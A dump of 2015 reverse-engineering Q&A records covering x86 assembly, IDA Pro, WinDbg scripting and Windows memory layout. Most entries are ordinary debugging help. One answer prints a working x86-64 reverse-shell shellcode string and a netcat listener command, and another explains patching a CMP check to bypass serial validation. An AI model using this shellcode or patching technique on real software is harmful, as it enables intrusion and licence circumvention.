        "Body": "<p>I have a simple snippet with several instructions:</p>\n\n<pre><code>01:    mov   edi, [ebp+8]\n02:    mov   edx, edi\n03:    xor   eax, eax\n04:    or    ecx, 0FFFFFFFFh\n05:    repne scasb\n06:    add   ecx, 2\n07:    neg   ecx\n08:    mov   al, [ebp+0Ch]\n09:    mov   edi, edx\n10:    rep   stosb\n11:    mov   eax, edx\n</code></pre>\n\n<p>I should explain:</p>\n\n<blockquote>\n  <p>1.<em>What is the type of the <code>[ebp+8]</code> in line <code>01</code> and <code>[ebp+C]</code>  in\n  line <code>08</code>, respectively.</em></p>\n  \n  <p>2.<em>What this code does?</em></p>\n</blockquote>\n\n<ol>\n<li><p>Line <code>01</code> is something like <code>edi = *(ebp+8)</code>, it stores destination address, not sure. But i can't explain line <code>08</code></p></li>\n<li><p>By following the <code>intel</code> manual <code>SCASB (scan byte string)</code> i assume what this code does initialize a buffer for the string, repeatedly writes <code>0</code> byte <code>eax</code> times, then assign <code>al</code> to <code>edi</code>.</p></li>\n</ol>\n",
        "Title": "What does this combination SCAS and STOS?",
        "Tags": "|assembly|x86|decompile|",
        "Answer": "<p>emulating the sequence with powershell</p>\n\n<pre><code>cat scasb.ps1\n$edx=$edi=$args[0];  $eax=0; $ecx=-1;\nwhile($edi[$ecx--]){}; $ecx+=2;  $ecx=-$ecx;\n\"length of string using .net method \"+$edi.length;\n\"length of string using repne scasb \"+$ecx;\n$edi=$edx.tochararray()\nwhile($ecx){$edi[--$ecx]=$args[1]};  $ofs=\"\"; $edx;[string]$edi\n</code></pre>\n\n<p>result</p>\n\n<pre><code>powershell -f scasb.ps1 \"abracadabra gili gili choo\" r\nlength of string using .net method 26\nlength of string using repne scasb 26\nabracadabra gili gili choo\nrrrrrrrrrrrrrrrrrrrrrrrrrr\n</code></pre>\n"
    },
    {
        "Id": "9448",
        "CreationDate": "2015-07-26T10:19:50.450",
        "Body": "<p>I compile <code>C</code> code snippet with <code>VS2010</code> by two ways:</p>\n\n<pre><code>int g_arra[3];\n\nint main() {\n  int idx = 2;\n  g_arra[0] = 10;\n  g_arra[1] = 20;\n  g_arra[2] = 30;\n  g_arra[idx] = 40;\n  return 0;\n}\n</code></pre>\n\n<ol>\n<li>With <code>/O2</code> optimization</li>\n<li>Without <code>/O2</code> optimization</li>\n</ol>\n\n<p>About <code>/O2</code> optimization:</p>\n\n<blockquote>\n  <p>This option enables optimizations for speed. This is the generally\n  recommended optimization level. The compiler vectorization is enabled\n  at O2 and higher levels. With this option, the compiler performs some\n  basic loop optimizations, inlining of intrinsic, Intra-file\n  interprocedural optimization, and most common compiler optimization\n  technologies.</p>\n</blockquote>\n\n<p>When tried to reverse it:</p>\n\n<ol>\n<li><p>With <code>/O2</code> optimization:</p>\n\n<pre><code>; int __cdecl main(int argc, const char **argv, const char **envp)\n.text:00401000 _main        proc near    ; CODE XREF: ___tmainCRTStartup+11Dp\n.text:00401000              mov     dword_403390, 10\n.text:0040100A              mov     dword_403394, 20\n.text:00401014              mov     dword_403398, 40\n.text:0040101E              xor     eax, eax\n.text:00401020              retn\n.text:00401020 _main        endp\n</code></pre></li>\n<li><p>Without <code>/O2</code>:</p>\n\n<pre><code> ; int __cdecl main(int argc, const char **argv, const char **envp)\n.text:00401000 _main        proc near    ; CODE XREF: ___tmainCRTStartup+11Dp\n.text:00401000 var_4        = dword ptr -4\n.text:00401000 argc         = dword ptr  8\n.text:00401000 argv         = dword ptr  0Ch\n.text:00401000 envp         = dword ptr  10h\n.text:00401000              push    ebp\n.text:00401001              mov     ebp, esp\n.text:00401003              push    ecx\n.text:00401004              mov     [ebp+var_4], 2\n.text:0040100B              mov     dword_403390, 0Ah\n.text:00401015              mov     dword_403394, 14h\n.text:0040101F              mov     dword_403398, 1Eh\n.text:00401029              mov     eax, [ebp+var_4]\n.text:0040102C              mov     dword_403390[eax*4], 28h\n.text:00401037              xor     eax, eax\n.text:00401039              mov     esp, ebp\n.text:0040103B              pop     ebp\n.text:0040103C              retn\n.text:0040103C _main        endp\n</code></pre></li>\n</ol>\n\n<p>Code compiled without <code>/O2</code> given me clear explanation about <em>global</em> array, i can compute the size of it(4 byte each <code>[eax*4]</code>) and how many elements it has.</p>\n\n<p>My question is, how to deal with the first case? Where is compiler hide other instructions? How to detect, function has a <em>global allocated array</em> or a <em>stack allocated array</em>?</p>\n",
        "Title": "Globally allocated arrays optimization",
        "Tags": "|disassembly|x86|c|",
        "Answer": "<p>On x86 the <code>ESP</code> and <code>EBP</code> registers are used to access data on the stack. If you see code like  </p>\n\n<pre><code>mov [ebp - 4], 1\n</code></pre>\n\n<p>it access the stack. w s's answer tells you how to differentiate between access to single variables or an array.<br>\nNo sane compiler or coder will ever use esp/ebp for anything but the stack, however if you want to be really sure (during runtime) you can get the stack boundaries from the TEB (windows only).  </p>\n\n<p>An access to a global variable will always be an access to a fixed memory location.  </p>\n\n<pre><code>mov     dword_403390, 0Ah\n</code></pre>\n\n<p>In this example 403390 is the fixed memory location (whether it is actually fixed or changed due to ASLR/relocations isn't important as this invisible in the disassembly).<br>\nFor further verifiaction you can check wheter that adress lies in the boundaries of the loaded executable or DLL/shared module.</p>\n"
    },
    {
        "Id": "9458",
        "CreationDate": "2015-07-27T07:47:16.337",
        "Body": "<p>Simply, why does not <code>call 12345678</code> jump to <code>12345678</code> address?<br/>\nWhy do I have to use the instruction like this</p>\n\n<pre><code>mov eax, 12345678\ncall eax\n</code></pre>\n\n<p>More importantly, what does <code>call 12345678</code> exactly do?</p>\n",
        "Title": "Why does not \"call 12345678\" jump to \"12345678\" address?",
        "Tags": "|assembly|",
        "Answer": "<p><code>call 12345678</code> pushes the following instruction's return address onto the stack and then jumps to <code>12345678</code>.</p>\n\n<p>It is functionally equivalent to:</p>\n\n<pre><code>mov eax, 12345678\ncall eax\n</code></pre>\n\n<p>(Though the code above has the side-effect of modifying <code>eax</code>, whereas a simple <code>call 12345678</code> does not modify <code>eax</code>.)</p>\n"
    },
    {
        "Id": "9466",
        "CreationDate": "2015-07-27T13:16:17.067",
        "Body": "<p>Consider I have got a DLL file which contains some functions and classes that I am not aware of. It might be lack of documentation, or the unwillingness of the programmer to provide the documentation after the release. I want to know, how can I study an unknown DLL file and utilize it in my projects? ( Of course the programmer gives such permission )</p>\n",
        "Title": "Use the functionality available in the unknown DLL",
        "Tags": "|ida|disassembly|ollydbg|reassembly|",
        "Answer": "<p><em>I can't post comments for now, since I'm new on this forum</em></p>\n\n<p>I'm not sure I fully understand your level of understanding here. Do you know some basic stuff in reversing field ? </p>\n\n<p>If so, you should load your DLL in OllyDbg (for example) then click on <strong>Debug</strong> > <strong>Call DLL export</strong> to locate the API you're interested in. \nThen it's classic reversing session. </p>\n\n<p>Otherwise, if you need more specifics, I strongly recommend you to buy \"Secrets of reverse engineering - Eldad Eilam\" book, in which there is a fully detailed example of a DLL reverse session.</p>\n"
    },
    {
        "Id": "9473",
        "CreationDate": "2015-07-28T06:23:59.030",
        "Body": "<p>I need assistance in ida pro regarding sp analysis failure.\nThe link to the dissembled function is here:\n<a href=\"http://pastebin.com/XRwzswgS\" rel=\"nofollow\">http://pastebin.com/XRwzswgS</a>\nThe program has a lot of these errors which hinders hexrays decompilation.\nThe analysis failure is shown in line 333 in pastebin. I have included the SP pointer values from ida</p>\n",
        "Title": "SP analysis failed in gfortran compiled application",
        "Tags": "|ida|",
        "Answer": "<p>In a line 34 you have a following code:</p>\n\n<pre><code>.text:0046FC96 010                 mov     eax, 3AFCh\n.text:0046FC9B 010                 call    __alloca\n</code></pre>\n\n<p>This code allocates <code>0x3afc</code> bytes on stack and this allocation is not reflected in IDA stack analysis (if the assumption that <code>_alloca</code> function detected and defined correctly is correct, see <a href=\"http://man7.org/linux/man-pages/man3/alloca.3.html\" rel=\"nofollow\">linux alloca man page</a> and <a href=\"https://msdn.microsoft.com/en-us/library/wb1s57t5.aspx\" rel=\"nofollow\">MSDN alloca documentation</a> for more details about this function).</p>\n\n<p>To fix this you should go to <code>call _alloca</code> instruction, press <kbd>ALt</kbd>-<kbd>K</kbd> and insert the needed value (probably <code>-0x3afc</code> in your specific case, but I'm not sure).</p>\n\n<p>This will hint IDA that there is a stack pointer change here.</p>\n"
    },
    {
        "Id": "9477",
        "CreationDate": "2015-07-28T12:44:37.610",
        "Body": "<p>In Microsoft Windows, a 32bits process <code>calc.exe</code> has <code>0x0</code>-<code>0x80000000</code> (2GB) reserved as its user-space and the rest is kernel-space (2GB). So, a process has <code>2+2 = 4GB</code> of virtual space. This ratio could be 3:1 also.</p>\n<p>The 2GB user space has the PEB information,the heap,the stack, the executable and other dll's which the the exe uses like kernel32.dll, user32.dll, etc.</p>\n<ul>\n<li><p><strong>Doubt 1&gt;</strong> What does the 2GB kernel space encompasses in itself ?</p>\n<p>Is there a tool to see kernel-space mapping (for the user-space mapping  I used OllyDbg).</p>\n</li>\n<li><p><strong>Doubt 2&gt;</strong> What happens when <code>ntoskrnl.exe</code> runs ? It doesn't use the native API (but exports implementation of these native APIs to user-space via <code>ntdll.dll</code>. So, that native application could use it before win32 kicks in). Therefore, there should be no dlls in the virtual space of <code>ntoskrnl.exe</code>.</p>\n<p>Is <code>ntoskrnl.exe</code> located in kernel-space ?</p>\n</li>\n</ul>\n",
        "Title": "Is there a tool to see kernel space mapping of a Windows exe?",
        "Tags": "|windows|ollydbg|windbg|winapi|",
        "Answer": "<p>Kernel mode memory is not process-specific. It is identical for all processes. </p>\n\n<p>ntoskrnl.exe is not a process in itself. It is kernel image. Microsoft decided to use same file-format (PE) for the kernel image, as they use for other executables. Kernel image is shared by all processes. </p>\n"
    },
    {
        "Id": "9484",
        "CreationDate": "2015-07-28T20:18:43.530",
        "Body": "<p>I have two simple questions in IDAPro:</p>\n\n<ol>\n<li><p>How can I find string references in one function only (not the whole program) ?</p></li>\n<li><p>How can I breakpoint on each string reference in IDAPro ? It is easy to do in OllyDbg but I don't know how to do it in IDAPro ?</p></li>\n</ol>\n",
        "Title": "Strings in a function",
        "Tags": "|ida|",
        "Answer": "<p>You'll need to learn IDAPython if you want to automate things in IDA.\nFor your specific task, here is an example:</p>\n\n<pre><code> # I didn't check this code, use carefully, beware of errors\n\nimport idc\nimport idaapi\nimport idautils\n\ndef set_breakpoints_on_refs(ea):\n    list_of_referencing_functions = [\"All\"]\n    print \"In setting bp ...\"\n    for ref in idautils.DataRefsTo(ea):\n        func_name = idaapi.get_func_name(ref)\n        if not func_name is None and not func_name in list_of_referencing_functions:\n            list_of_referencing_functions.append(func_name)\n    print \"refrlist done\", list_of_referencing_functions\n    width = 0\n    for r in list_of_referencing_functions:\n       if len(r) &gt; width:\n           width = len(r)\n\n    ch = idaapi.Choose(list_of_referencing_functions, \"Choose a function\", 1 )\n    ch.width = width\n    print \"Chooser created\"\n    res = ch.choose()\n    if res &gt; 0:\n        print \"selected ...\", \n        chosen = ch.list[res -1]\n        print chosen\n        set_at_all = False\n        if chosen == \"All\":\n            set_at_all = True\n\n        for ref in idautils.DataRefsTo(ea):\n            if set_at_all:\n                idc.AddBpt(ref)\n                continue\n            func_name = idaapi.get_func_name(ref)\n            if func_name == chosen:\n                idc.AddBpt(ref)\n\n\ndef set_breakpoints_on_refs_to_screen_ea():\n    print \"Started\"\n    set_breakpoints_on_refs(idc.ScreenEA())\n\nidaapi.add_hotkey(\"Alt-Y\", set_breakpoints_on_refs_to_screen_ea)\n</code></pre>\n\n<p>Running this code from execute script window will register hotkey <kbd>Alt</kbd>-<kbd>Y</kbd> that will do the following:</p>\n\n<ul>\n<li>will get the current screen ea (let's assume that you placed the cursor on desired string), </li>\n<li>create a list of functions that containing references to this ea</li>\n<li>will ask you to choose one of them or all</li>\n<li>and will set breakpoints on corresponding  references (all or in chosen function)</li>\n</ul>\n"
    },
    {
        "Id": "9485",
        "CreationDate": "2015-07-28T20:19:52.100",
        "Body": "<p>I've encountered this function, which accepts a pointer to what I believe is a custom C struct. I came to this conclusion based on subsequent access to it.</p>\n\n<pre><code>arg_0= dword ptr  4   ;struct passed in\n\npush    ebx\npush    ebp\nmov     ebp, [esp+8+arg_0]  ; store pointer of struct in ebp\npush    esi\npush    edi\nxor     ebx, ebx\n</code></pre>\n\n<p>and, not too far from above, I see it being populated:</p>\n\n<pre><code>mov     [ebp+0D4h], bl\nmov     [ebp+0F4h], bl\nmov     [ebp+114h], bl\nxor     eax, eax\nmov     [ebp+0B8h], eax\nmov     [ebp+0BCh], eax\nmov     [ebp+0C0h], eax\n</code></pre>\n\n<p>I do not know the size of the structure, but I've seen <code>[ebp+0f14h]</code>. Therefore, I've defined a custom IDA sturct of size <code>0xF14</code>. Now I'm having trouble with applying this custom structure to this pointer. I've tried <code>Alt+Q</code> then selecting my own custom struct, but it is not working. The  output window says <code>Command \"DeclareStructVar\" failed</code></p>\n\n<p>My custom struct:</p>\n\n<pre><code>00000000 custom_sturct   struc ; (sizeof=0xF14)\n00000000                 db ? ; undefined\n00000001                 db ? ; undefined\n00000002                 db ? ; undefined\n[...same stuff...]\n00000F11                 db ? ; undefined\n00000F12                 db ? ; undefined\n00000F13 field_F13       db ?\n00000F14 custom_sturct   ends\n00000F14\n</code></pre>\n\n<p>I'm using IDA Pro 6.3</p>\n",
        "Title": "How to apply IDA structure to a pointer of a structure",
        "Tags": "|ida|struct|",
        "Answer": "<p>To set register as an offset to a structure in a sequence of assembly code, you'll need to select that sequence and then hit <kbd>T</kbd>. A pop up dialog called \"Structure offsets\" will appear, where you can supply the register and structure it points to, and you'll see all references IDA recognized using it.</p>\n\n<p>Lets take the following code snippet taken from calc.exe for example:</p>\n\n<p><a href=\"https://i.stack.imgur.com/abcBG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/abcBG.png\" alt=\"Example of initial state\"></a></p>\n\n<p>After selecting the relevant code and hitting <kbd>T</kbd> IDA automatically identified we're setting the <code>ECX</code> register, suggests possible valid structures to the left and the offsets and the selected structure's values.</p>\n\n<p><a href=\"https://i.stack.imgur.com/VrXAH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VrXAH.png\" alt=\"Structure offsets dialog\"></a></p>\n\n<p>After assigning a valid structure, the code looks like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/wWyYN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wWyYN.png\" alt=\"code after structure offset assignment\"></a></p>\n\n<p>Please notice the following caveats/remarks:</p>\n\n<ol>\n<li>IDA completely ignored the <code>add ecx, 4</code> line and additionally did not handle the <code>mov [ecx+eax*2], dx</code> too well because of that. Hitting <kbd>T</kbd> for that specific line and suppling a non-zero offset delta will let you handle that properly, albeit manually.  </li>\n<li>As mentioned in the comments, manually setting a register's name completely disables all IDA's representation of the register and instead displays the user supplied free text. This means any offset definitions will be hidden by any register custom name.</li>\n<li>If you've seen <code>[ebp+0f14h]</code>, the structure's size is <em>at least</em> 0xF15 bytes, as the structure is being written to at offset <code>0x0F14</code>, meaning at least 0xF15 bytes are available to it. If you've seen <code>DWORD [ebp+0f14h]</code> the structure is at least <code>0x0F18</code> bytes long.</li>\n</ol>\n\n<p>Those caveats are at least partially mitigated by third party tools like <a href=\"https://sark.readthedocs.io/en/latest/plugins/autostruct.html\" rel=\"nofollow noreferrer\">Autostruct</a></p>\n"
    },
    {
        "Id": "9489",
        "CreationDate": "2015-07-29T07:53:30.593",
        "Body": "<p>I am currently a newbie to assembly. I was looking at a disassembled program and I was wondering:</p>\n\n<p>What does this do?</p>\n\n<pre><code>arg_0 dd 5\n\ncmp [ebp+arg_0],1Eh     ; Subtract the two values - flag either 0 or 1\njnz short loc_blahblah  ; if flag is 0 then jump\n</code></pre>\n\n<p>I know that it is comparing the two values by subtracting them and keeping the flags.</p>\n\n<p>However when I click on the cmp instruction it shows me : <code>[ebp+arg_0]=00000005</code> . Is this a memory address? Or is it the new value stored within the stack?</p>\n\n<p>I tried making the cmp instruction result in a flag 0, however I can't seem to be able to do it. Could you explain this in simple terms? </p>\n\n<p>Thanks. </p>\n\n<p>P.S: If this is a little vague, I do apologies as I myself am a little confused.</p>\n",
        "Title": "Disassembly: Question regarding CMP within a stack?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>Your <code>arg_0 dd 5</code> seems a bit confusing to me as well, since, if that was an assembler instruction, it would define a global variable, not a stack position. Stack positions aren't initialized at compile time or program start, they get used when a program calls a subroutine. So i'll assume you copied this somehow when the program was running, not from the disassembly itself.</p>\n\n<p>When a subroutine is called, the caller pushes the arguments on the stack - i'll assume a single argument here, and let's assume the value is <code>5</code>. At this moment the stack looks like this:</p>\n\n<pre><code>+----------+\n| 00000005 |\n+----------+     &lt;--- esp\n</code></pre>\n\n<p>Then, the caller executes the call instruction, which puts the return address onto the stack, and jumps to your subroutine. Now, the stack looks like this:</p>\n\n<pre><code>+----------+\n| 00000005 |\n+----------+\n| ret.addr |\n+----------+     &lt;--- esp\n</code></pre>\n\n<p>(note the stack grows from high addresses to low addresses on x86 processors, newer entries are below older ones)</p>\n\n<p>And the called subroutine normally starts with saving the old value of <code>ebp</code> by pushing it to the stack, moving the stack pointer to <code>ebp</code>, and subtracting a small value from <code>esp</code> to make room for local variables.</p>\n\n<pre><code>+----------+\n| 00000005 |\n+----------+\n| ret.addr |\n+----------+\n| old_ebp  |\n+----------+     &lt;--- ebp\n|          |\n|  .....   |\n+----------+     &lt;--- esp\n</code></pre>\n\n<p>So within the subroutine, the argument is always 8 bytes \"above\" the current value of <code>ebp</code>, while the distance to <code>esp</code> varies, depending on how much space local variables need, and how stuff is pushed to the stack within the subroutine. Which is why parameters are accessed by indexing relative to <code>ebp</code>.</p>\n\n<p>Your <code>cmp</code> instruction compares that value from the stack with the number <code>0x1e</code>, or <code>30</code> decimal. The processor fetches the <code>5</code> from its location on the stack, subtracts 30 from it, throws away the result (<code>-25</code>), and executes the jump instruction depending on whether or not the result was <code>0</code>. </p>\n\n<p>To answer the first question: The <code>5</code> is not the <em>new</em> value within the stack, it's the value that was on the stack before the instruction, and is still on the stack as the instruction didn't change it.</p>\n\n<p>Now, if you want the <code>cmp</code> instruction to result in a set zero flag, you'll have to make the result of the subtraction 0 - which means you need to make the result of <code>5-30</code> zero. To do this, you have two possibilities - either, change the 5 to a 30, or, change the 30 to a 5.</p>\n\n<p>The first approach - changing the 5 to a 30 - is what you use when you're debugging your own program. Assume you noticed your program doesn't work as intended, your start a debugger, run a part of the program, and notice at a certain point in your program that a variable is 5 when you'd expect it to be 30. Obviously, something went wrong up to this point. But if you want to check if the rest of the program works, you'd like to edit the variable in place - which means, change the content of the memory location to 30, then continue running the program.</p>\n\n<p>The second approach - changing the 30 to a 5 - is used when hacking programs that aren't your own. Assume a program that requires a registration number to be entered. You enter a random number - 12345678, debug the program, notice the digits are mangled somehow, and the result of this mangling is 5. The code you disassembled shows you need a 30 instead of the 5, but you don't know which combination of digits yields that 30. So what do you do? You change the <code>cmp [ebp+arg_0],1Eh</code> to <code>cmp [ebp+arg_0],05h</code>, save back that patched program, and suddenly your 12345678 will be a valid serial number.</p>\n\n<p>So to \"make the cmp instruction result in a flag 0\", you'll either have to modify the stack memory to turn the <code>5</code> into a <code>0x1e</code>, or you'll have to modify the program code to turn the <code>cmp [ebp+arg_0],1Eh</code> into a <code>cmp [ebp+arg_0],05h</code>. Since you don't specify what exactly your use case is, i can't tell you which of them is what you need.</p>\n"
    },
    {
        "Id": "9492",
        "CreationDate": "2015-07-29T13:39:47.953",
        "Body": "<p>I am analyzing a piece of malware that has a sequence of instructions with </p>\n\n<blockquote>\n  <p>prefix repne</p>\n</blockquote>\n\n<pre><code>0047094C  |.  8B0D 34935E00       |MOV ECX,DWORD PTR DS:[5E9334]\n00470952  |.  F2:                 |PREFIX REPNE:\n00470953  |.  0F2AC1              |CVTPI2PS XMM0,MM1\n00470956  |.  F2:                 |PREFIX REPNE:\n00470957  |.  0F100D 88905E00     |MOVUPS XMM1,DQWORD PTR DS:[5E9088]\n0047095E  |.  F2:                 |PREFIX REPNE:\n0047095F  |.  0F5CC8              |SUBPS XMM1,XMM0\n00470962  |.  F2:                 |PREFIX REPNE:\n00470963  |.  0F2CD1              |CVTTPS2PI MM2,XMM1\n00470966  |.  8915 5C925E00       |MOV DWORD PTR DS:[5E925C],EDX\n</code></pre>\n\n<p>what's strange however is when Im debugging, the instructions immediately following the prefix repne are skipped (when single stepped). My instincts tell me it is just junk code but I want to make sure that something else isn't happening as I have to rewrite this particular function (there's plenty more sse instructions that are used)</p>\n\n<p>If anyone can shed some light, I'd appreciate it. Thank you</p>\n",
        "Title": "Prefix REPNE instruction",
        "Tags": "|disassembly|assembly|",
        "Answer": "<p>The prefixes are not junk - they are an override for the original instruction, to produce a new instruction.  Your disassembler is apparently not aware of SSE2 instructions, and separates them instead.  The disassembly should read like this:\n<code>\n0047094C  |.  8B0D 34935E00       |MOV ECX,DWORD PTR DS:[5E9334]\n00470952  |.  F20F2AC1            |CVTSI2SD XMM0,ECX\n00470956  |.  F20F100D 88905E00   |MOVSD XMM1,DQWORD PTR DS:[5E9088]\n0047095E  |.  F20F5CC8            |SUBSD XMM1,XMM0\n00470962  |.  F20F2CD1            |CVTTSD2SI EDX,XMM1\n00470966  |.  8915 5C925E00       |MOV DWORD PTR DS:[5E925C],EDX</code></p>\n"
    },
    {
        "Id": "9504",
        "CreationDate": "2015-07-30T18:50:44.290",
        "Body": "<p>Debugging an application's use of msvcrt!_read. Found a nifty Windbg script online <a href=\"http://reversingonwindows.blogspot.com/2012/02/finding-appropriate-readfile.html\" rel=\"nofollow\">Reversing on Windows: intercepting ReadFile</a> that I lightly edited:</p>\n\n<pre><code>$$ Windbg script to intercept when a file is being read.\nbp msvcrt!_read\n.while(1)\n{\n  g\n  $$ Get parameters of _read()\n  r $t0 = dwo(esp+4)\n  r $t1 = dwo(esp+8)\n  r $t2 = dwo(esp+0x0c)\n\n  $$ Execute until return is reached\n  pt\n\n  $$ Read magic value in the buffer\n  $$ CHANGE position in buffer here\n  r $t5 = dwo(@$t1+0x00)\n  r\n  .printf \"hFile=%p buffer=%p count=%p\\n\", @$t0, @$t1, @$t2\n\n  $$ Check if magic value matches\n  $$ CHANGE constant here\n  db @$t1 $$ had to put this here b/c .if never executed 'clause'\n  .if(@$t5 == 0x00000000) $$magic string\n  {\n    db @$t1\n\n    $$ UNCOMMENT below to break in the debugger\n    .break\n  }\n}\n\n$$ Clear BP for ReadFile (assume it is the 0th one)\nbc 0\n</code></pre>\n\n<p>I tried using the following 'magic string' of bytes:</p>\n\n<pre><code>77 30 30 66\n</code></pre>\n\n<p>in:</p>\n\n<pre><code>.if(@$t5 == 0x77303066) $$magic string\n</code></pre>\n\n<p>However, it never meets that condition. Most frustrating part is that I see the magic string when the script runs the 'db@$t1' </p>\n\n<pre><code>eax=00000400 ebx=02895cc4 ecx=75b7c2d6 edx=771f70f4 esi=017d0ab8 edi=028b2534\neip=75b7c2d6 esp=03d2fbec ebp=00000003 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nmsvcrt!_read+0xd1:\n75b7c2d6 c3              ret\nhFile=00000003 lpBuffer=05f30020 nNumberOfBytesToRead=00000400\n05f30020  77 30 30 66 00 00 00 2e-00 00 00 00 00 00 00 00  w00f............\n05f30030  00 2e 2e 2e 2e 2e 00 00-00 2e 00 00 00 2e 2e 00  ................\n05f30040  00 2e 2e 00 00 00 04 00-00 00 2e 2e 00 00 2e 2e  ................\n05f30050  00 00 2e 2e 00 00 00 00-00 00 00 00 00 00 01 2e  ................\n05f30060  00 2e 00 2e 2e 2e 2e 2e-00 00 00 2e 00 00 00 2e  ................\n</code></pre>\n\n<p>I've also tried changing the magic string in the wds script to little endian, still doesnt work though.</p>\n\n<p>How may I format the if statement to trigger in the above script using the magic string 'w00f?' </p>\n",
        "Title": "Windbg Scripting Issue",
        "Tags": "|windows|windbg|",
        "Answer": "<p>The first four bytes of the file (<code>77</code> <code>30</code> <code>30</code> <code>66</code>) will be read into <code>@$t5</code> in little-endian format.</p>\n\n<p>So <code>.if(@$t5 == 0x77303066)</code> should be <code>.if(@$t5 == 0x66303077)</code>.</p>\n"
    },
    {
        "Id": "9506",
        "CreationDate": "2015-07-30T19:15:51.533",
        "Body": "<p>I'm working on exploiting a simple 64 bit linux binary. I got control of RIP by exploiting a buffer overflow and using a jmp rsp to get control of the progrm.</p>\n\n<p>However, I'm having trouble with the shellcode piece. I'm not savvy enough to write my own, so I've been using some I found online. The shellcode needs to get me a reverse shell on port 4444.</p>\n\n<p>Just for testing though, I tried some basic shellcode.</p>\n\n<p>Works - <a href=\"http://shell-storm.org/shellcode/files/shellcode-806.php\" rel=\"nofollow\">http://shell-storm.org/shellcode/files/shellcode-806.php</a></p>\n\n<p>Doesn't work - <a href=\"https://www.exploit-db.com/exploits/35587/\" rel=\"nofollow\">https://www.exploit-db.com/exploits/35587/</a></p>\n\n<p>The shellcode in the first link works. The one in the second did not.</p>\n\n<p>I stepped through the program and each instruction lines up. However, after the last syscall, the program continues to execute the stack instead of exiting the thread.</p>\n\n<p>I could really use help on it, I've been stuck on it all day.</p>\n",
        "Title": "One shellcode works, one doesn't - an issue with exploiting a 64 bit linux binary",
        "Tags": "|linux|exploit|x86-64|shellcode|",
        "Answer": "<p>I've tested these two shellcodes and they both work.</p>\n\n<p>I think that you're missing the point of the second one. It's said :</p>\n\n<blockquote>\n  <p>NOTE: This C code connects to 127.0.0.1:4444</p>\n</blockquote>\n\n<p>Meaning it's trying to connect to port 4444 on localhost (127.0.0.1). If nobody is listening on that port, then it won't connect and just trying to execute whatever is after you syscall.</p>\n\n<p>Try to execute it again, but this time you need to lauch some process waiting for a connection on port 4444 <strong>before</strong> executing your shellcode, say <em>netcat</em></p>\n\n<pre><code>$ nc -lp 4444 -vv \nlistening on [any] 4444 ...\n</code></pre>\n\n<p>And <strong>then</strong>, when you execute your shellcode</p>\n\n<pre><code>./execshellcode64 \"\\x31\\xf6\\xf7\\xe6\\xff\\xc6\\x6a\\x02\\x5f\\x04\\x29\\x0f\\x05\\x50\\x5f\\x52\\x52\\xc7\\x44\\x24\\x04\\x7d\\xff\\xfe\\xfe\\x81\\x44\\x24\\x04\\x02\\x01\\x01\\x02\\x66\\xc7\\x44\\x24\\x02\\x11\\x5c\\xc6\\x04\\x24\\x02\\x54\\x5e\\x6a\\x10\\x5a\\x6a\\x2a\\x58\\x0f\\x05\\x6a\\x03\\x5e\\xff\\xce\\xb0\\x21\\x0f\\x05\\x75\\xf8\\x56\\x5a\\x56\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x57\\x54\\x5f\\xb0\\x3b\\x0f\\x05\"\n</code></pre>\n\n<p><em>nectat</em> warns you (because of -vv meaning verbose) that there was a connection on that port</p>\n\n<pre><code> $ nc -lp 4444 -vv\nlistening on [any] 4444 ...\nconnect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 40234\n</code></pre>\n\n<p>That's the connection initiated by your shellcode.</p>\n\n<p>Hope this helps !</p>\n\n<p><strong>Note</strong> : <em>execshellcode64</em> is just a personnal program I made for testing purpose. It's not actually a real command.</p>\n"
    },
    {
        "Id": "9509",
        "CreationDate": "2015-07-31T07:16:54.467",
        "Body": "<p>I disassemble some code using IDA Pro and get the pseudo-code. It showed something like below.</p>\n\n<pre><code>for ( i = 0; i &lt; 6; ++i )\n{\n  v7 = (int)&amp;val_253;                         \n  for ( k = 1; k &lt; key[i]; ++k )\n    v7 = *(_DWORD *)(v7 + 8);\n  v4[i] = v7;\n}\n</code></pre>\n\n<p>I can't understand what is happening in <code>v7 = *(_DWORD *)(v7 + 8);</code> line. After executing this line the value of v7 changes from <code>0xC</code>. I can't understand how it happens. I thought the value should change from <code>0x8</code>.</p>\n\n<p>And I thought <code>*(_DWORD *)</code> should return a value. But instead, it returns another pointer. How is that happened (The both values of the memory, <code>0xc</code> away from <code>&amp;val_253</code> and <code>0x8</code> away from <code>&amp;val_253</code> are zero).</p>\n",
        "Title": "What is the meaning of *(_DWORD *)",
        "Tags": "|ida|decompilation|",
        "Answer": "<pre><code>v7 = *(_DWORD *)(v7 + 8);\n</code></pre>\n\n<p>Means :</p>\n\n<pre><code>v7 = *(v7 + 8)\n</code></pre>\n\n<p>Or in assembly </p>\n\n<pre><code>MOV v7, DWORD PTR [v7 + 0x8]\n</code></pre>\n\n<p>(This is only for understanding purpose, chances are that it's not really like above samples)</p>\n\n<p><code>v7</code> is assigned with the value located at address <code>v7+8*sizeof(DWORD)</code>. For example, if <code>v7 = 0xabcd0123</code> then <code>v7 + 8*sizeof(DWORD)  = 0xabcd0143</code>. Whatever is located at <code>0xabcd0143</code> will be assigned to <code>v7</code>.</p>\n"
    },
    {
        "Id": "9515",
        "CreationDate": "2015-07-31T17:31:24.160",
        "Body": "<p>While I'm doing a patching using IDA, I accidentally patch wrong bites and I can't remember what bytes were there before. Is there a way to undo it..?  </p>\n",
        "Title": "Undo patch in IDA",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>An alternative solution, for older IDA versions:<br>\nUse <code>File&gt;Produce file&gt;Create DIF file...</code> to dump all the changes.<br>\nFile format is <code>Offset: Old New</code> for every patched byte in file.<br>\nFind the bytes you want to change back, and do it manually.<br>\nJust remember that offsets are from file start, they are not memory addresses.</p>\n"
    },
    {
        "Id": "9523",
        "CreationDate": "2015-08-01T06:06:52.447",
